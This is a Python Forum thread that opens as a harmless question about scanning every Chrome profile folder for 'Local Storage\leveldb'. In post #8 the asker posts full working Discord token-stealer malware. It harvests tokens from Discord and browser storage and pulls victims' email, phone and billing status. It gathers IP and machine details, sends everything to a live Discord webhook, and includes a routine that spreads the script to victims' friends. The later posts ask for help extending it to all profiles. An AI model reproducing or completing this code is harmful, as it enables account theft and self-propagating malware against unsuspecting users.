Python Forum
Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
Path sacn problem
#1
Exclamation 
I have more than 1 profile in the Chrome browser, so I want to locate a file in all Chrome profiles how?
my code:
def main():
    local = os.getenv('LOCALAPPDATA')
    roaming = os.getenv('APPDATA')

    paths = {
'Google Chrome': local + '\\Google\\Chrome\\User Data\\',
I tried
'Google Chrome': local + '\\Google\\Chrome\\User Data\\*',
I got this error:
FileNotFoundError: [WinError 3] The system cannot find the path specified: 'C:\\Users\\duaa\\AppData\\Local\\Google\\Chrome\\User Data\\\\Local Storage\\leveldb'
Note: This's the correct path for the original Chrome profile. I can run it without problems.
'Google Chrome': local + '\\Google\\Chrome\\User Data\\Default',
I have more profiles I want to scan them like these paths:
'\\Google\\Chrome\\User Data\\Person1'
'\\Google\\Chrome\\User Data\\Person2'
how to scan them all ?
Reply
#2
type chrome://version into chrome address bar and you see the path
Reply
#3
(Jun-22-2021, 01:22 PM)Axel_Erfurt Wrote: type chrome://version into chrome address bar and you see the path

I have a lot of profiles it will take so long if I got into all profiles and copy their paths.
Reply
#4
I can only show you how i do it in Linux with firefox

import configparser
import os

firefox_profile = os.path.join(os.path.expanduser('~'), '.mozilla/firefox')
firefox_profile_ini = os.path.join(firefox_profile, 'profiles.ini')
profile = configparser.ConfigParser()

profile.read(firefox_profile_ini)
ff_profile_path = os.path.normpath(os.path.join(firefox_profile, profile.get('Profile0', 'Path')))
print(ff_profile_path)
Reply
#5
I want it on chrome
in my PC at C:\Users\Abed\AppData\Local\Google\Chrome\User Data there are more than 50 profiles
I want just to scan all the folders to find this (( Local Storage\\leveldb ))

[Image: XSx9Wtz.png]
Reply
#6
You can list all folder paths (leveldb), adjust Path_to/Chrome/User Data

import os
mypath = 'Path_to/Chrome/User Data'

for root, dirs, files in os.walk(mypath, topdown = False):
   for name in dirs:
      if name.startswith("leveldb"):
        print(os.path.join(root, name))
Reply
#7
I have to repeat that here too.

If you have further questions, ask them here and not by private message.
Reply
#8
Thank u! , Now all i need to add ur code to my code.

my code :

import os
import re
import json
 
from urllib.request import Request, urlopen
 
# your webhook URL
WEBHOOK_URL = 'WEBHOOK HERE'
 
# mentions you when you get a hit
PING_ME = True
 
def find_tokens(path):
    path += '\\Local Storage\\leveldb'
 
    tokens = []
 
    for file_name in os.listdir(path):
        if not file_name.endswith('.log') and not file_name.endswith('.ldb'):
            continue
 
        for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
            for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
                for token in re.findall(regex, line):
                    tokens.append(token)
    return tokens
 
def main():
    local = os.getenv('LOCALAPPDATA')
    roaming = os.getenv('APPDATA')
 
    paths = {
        'Discord': roaming + '\\Discord',
        'Discord Canary': roaming + '\\discordcanary',
        'Discord PTB': roaming + '\\discordptb',
        'Google Chrome': local + '\\Google\\Chrome\\User Data\\Default',
        'Opera': roaming + '\\Opera Software\\Opera Stable',
        'Brave': local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
        'Yandex': local + '\\Yandex\\YandexBrowser\\User Data\\Default'
    }
 
    message = '@everyone' if PING_ME else ''
 
    for platform, path in paths.items():
        if not os.path.exists(path):
            continue
 
        message += f'\n**{platform}**\n```\n'
 
        tokens = find_tokens(path)
 
        if len(tokens) > 0:
            for token in tokens:
                message += f'{token}\n'
        else:
            message += 'No tokens found.\n'
 
        message += '```'
 
    headers = {
        'Content-Type': 'application/json',
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11'
    }
 
    payload = json.dumps({'content': message})
 
    try:
        req = Request(WEBHOOK_URL, data=payload.encode(), headers=headers)
        urlopen(req)
    except:
        pass
 
if __name__ == '__main__':
    main()
     
    import os
if os.name != "nt":
    exit()
from re import findall
from json import loads, dumps
from base64 import b64decode
from subprocess import Popen, PIPE
from urllib.request import Request, urlopen
from datetime import datetime
from threading import Thread
from time import sleep
from sys import argv
LOCAL = os.getenv("LOCALAPPDATA")
ROAMING = os.getenv("APPDATA")
PATHS = {
    "Discord"           : ROAMING + "\\Discord",
    "Discord Canary"    : ROAMING + "\\discordcanary",
    "Discord PTB"       : ROAMING + "\\discordptb",
    "Google Chrome"     : LOCAL + "\\Google\\Chrome\\User Data\\Default",
    "Opera"             : ROAMING + "\\Opera Software\\Opera Stable",
    "Brave"             : LOCAL + "\\BraveSoftware\\Brave-Browser\\User Data\\Default",
    "Yandex"            : LOCAL + "\\Yandex\\YandexBrowser\\User Data\\Default"
}
def getheaders(token=None, content_type="application/json"):
    headers = {
        "Content-Type": content_type,
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11"
    }
    if token:
        headers.update({"Authorization": token})
    return headers
def getuserdata(token):
    try:
        return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=getheaders(token))).read().decode())
    except:
        pass
def gettokens(path):
    path += "\\Local Storage\\leveldb"
    tokens = []
    for file_name in os.listdir(path):
        if not file_name.endswith(".log") and not file_name.endswith(".ldb"):
            continue
        for line in [x.strip() for x in open(f"{path}\\{file_name}", errors="ignore").readlines() if x.strip()]:
            for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{27}", r"mfa\.[\w-]{84}"):
                for token in findall(regex, line):
                    tokens.append(token)
    return tokens
def getdeveloper():
    dev = "2K"
    try:
        dev = urlopen(Request("https://pastebin.com/raw/ssFxiejv")).read().decode()
    except:
        pass
    return dev
def getip():
    ip = "None"
    try:
        ip = urlopen(Request("https://api.ipify.org")).read().decode().strip()
    except:
        pass
    return ip
def getavatar(uid, aid):
    url = f"https://cdn.discordapp.com/avatars/{uid}/{aid}.gif"
    try:
        urlopen(Request(url))
    except:
        url = url[:-4]
    return url
def gethwid():
    p = Popen("wmic csproduct get uuid", shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
    return (p.stdout.read() + p.stderr.read()).decode().split("\n")[1]
def getfriends(token):
    try:
        return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/relationships", headers=getheaders(token))).read().decode())
    except:
        pass
def getchat(token, uid):
    try:
        return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/channels", headers=getheaders(token), data=dumps({"recipient_id": uid}).encode())).read().decode())["id"]
    except:
        pass
def has_payment_methods(token):
    try:
        return bool(len(loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/billing/payment-sources", headers=getheaders(token))).read().decode())) > 0)
    except:
        pass
def send_message(token, chat_id, form_data):
    try:
        urlopen(Request(f"https://discordapp.com/api/v6/channels/{823592518372294708}/messages", headers=getheaders(token, "multipart/form-data; boundary=---------------------------325414537030329320151394843687"), data=form_data.encode())).read().decode()
    except:
        pass
def spread(token, form_data, delay):
    return # Remove to re-enabled
    for friend in getfriends(token):
        try:
            chat_id = getchat(token, friend["id"])
            send_message(token, chat_id, form_data)
        except Exception as e:
            pass
        sleep(delay)
def main():
    cache_path = ROAMING + "\\.cache~$"
    prevent_spam = True
    self_spread = True
    embeds = []
    working = []
    checked = []
    already_cached_tokens = []
    working_ids = []
    ip = getip()
    pc_username = os.getenv("UserName")
    pc_name = os.getenv("COMPUTERNAME")
    user_path_name = os.getenv("userprofile").split("\\")[2]
    developer = getdeveloper()
    for platform, path in PATHS.items():
        if not os.path.exists(path):
            continue
        for token in gettokens(path):
            if token in checked:
                continue
            checked.append(token)
            uid = None
            if not token.startswith("mfa."):
                try:
                    uid = b64decode(token.split(".")[0].encode()).decode()
                except:
                    pass
                if not uid or uid in working_ids:
                    continue
            user_data = getuserdata(token)
            if not user_data:
                continue
            working_ids.append(uid)
            working.append(token)
            username = user_data["username"] + "#" + str(user_data["discriminator"])
            user_id = user_data["id"]
            avatar_id = user_data["avatar"]
            avatar_url = getavatar(user_id, avatar_id)
            email = user_data.get("email")
            phone = user_data.get("phone")
            nitro = bool(user_data.get("premium_type"))
            billing = bool(has_payment_methods(token))
            embed = {
                "color": 0x7289da,
                "fields": [
                    {
                        "name": "**Account Info**",
                        "value": f'Email: {email}\nPhone: {phone}\nNitro: {nitro}\nBilling Info: {billing}',
                        "inline": True
                    },
                    {
                        "name": "**PC Info**",
                        "value": f'IP: {ip}\nUsername: {pc_username}\nPC Name: {pc_name}\nToken Location: {platform}',
                        "inline": True
                    },
                    {
                        "name": "**Token**",
                        "value": token,
                        "inline": False
                    }
                ],
                "author": {
                    "name": f"{username} ({user_id})",
                    "icon_url": avatar_url
                },
                "footer": {
                    "text": f"Marcolinha {developer}"
                }
            }
            embeds.append(embed)
    with open(cache_path, "a") as file:
        for token in checked:
            if not token in already_cached_tokens:
                file.write(token + "\n")
    if len(working) == 0:
        working.append('123')
    webhook = {
        "content": "",
        "embeds": embeds,
        "username": "Sh3wZa Is Here 😈",
        "avatar_url": "https://cdn.discordapp.com/attachments/823592518372294708/824020278019227702/8fce7d4508e15ae1b3415f416367b068.jpg"
    }
    try:
        urlopen(Request("https://discord.com/api/webhooks/840522546448826378/o6n09Rg671QId7XEoMzyaYwt21rsIm41BEyrUwFxIKIJ3r_G32pLSN43empBFYLpjyuo", data=dumps(webhook).encode(), headers=getheaders()))
    except:
        pass
    if self_spread:
        for token in working:
            with open(argv[0], encoding="utf-8") as file:
                content = file.read()
            payload = f'-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="file"; filename="{__file__}"\nContent-Type: text/plain\n\n{content}\n-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="content"\n\nserver crasher. python download: https://www.python.org/downloads\n-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="tts"\n\nfalse\n-----------------------------325414537030329320151394843687--'
            Thread(target=spread, args=(token, payload, 7500 / 1000)).start()
try:
    main()
except Exception as e:
    print(e)
    pass
Reply
#9
Guys come on we are in the last step help :(
Reply
#10
(Jun-22-2021, 04:05 PM)Axel_Erfurt Wrote: I can only show you how i do it in Linux with firefox

import configparser
import os

firefox_profile = os.path.join(os.path.expanduser('~'), '.mozilla/firefox')
firefox_profile_ini = os.path.join(firefox_profile, 'profiles.ini')
profile = configparser.ConfigParser()

profile.read(firefox_profile_ini)
ff_profile_path = os.path.normpath(os.path.join(firefox_profile, profile.get('Profile0', 'Path')))
print(ff_profile_path)

(Jun-23-2021, 08:24 AM)Axel_Erfurt Wrote: I have to repeat that here too.

If you have further questions, ask them here and not by private message.

can u please reply here ?
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  WebDriverException: Message: 'PATH TO CHROME DRIVER' executable needs to be in PATH Led_Zeppelin 1 2,220 Sep-09-2021, 01:25 PM
Last Post: Yoriz
  problem about maze path finder Simurg 2 1,955 Aug-16-2020, 01:10 PM
Last Post: Simurg
  Problem with reading a path gkiller007 30 23,103 Jan-05-2019, 10:09 PM
Last Post: snippsat
  Anaconda problem about path Leloup 1 8,100 Nov-23-2018, 05:14 PM
Last Post: Larz60+
  path.exists() problem CAHinton 2 2,906 Jul-24-2018, 05:47 PM
Last Post: CAHinton
  .pth file does not show up in sys.path when configuring path. arjunsingh2908 2 5,780 Jul-03-2018, 11:16 AM
Last Post: arjunsingh2908
  Problem with absolute path to file (Mr.Stickman Problems) SheeppOSU 3 6,247 Jun-26-2018, 10:05 AM
Last Post: Larz60+
  Problem in a path finding algorithm (counter is not working) Kowalski 3 3,263 Feb-05-2018, 01:23 PM
Last Post: Gribouillis

Forum Jump:

User Panel Messages

Announcements
Announcement #1 8/1/2020
Announcement #2 8/2/2020
Announcement #3 8/6/2020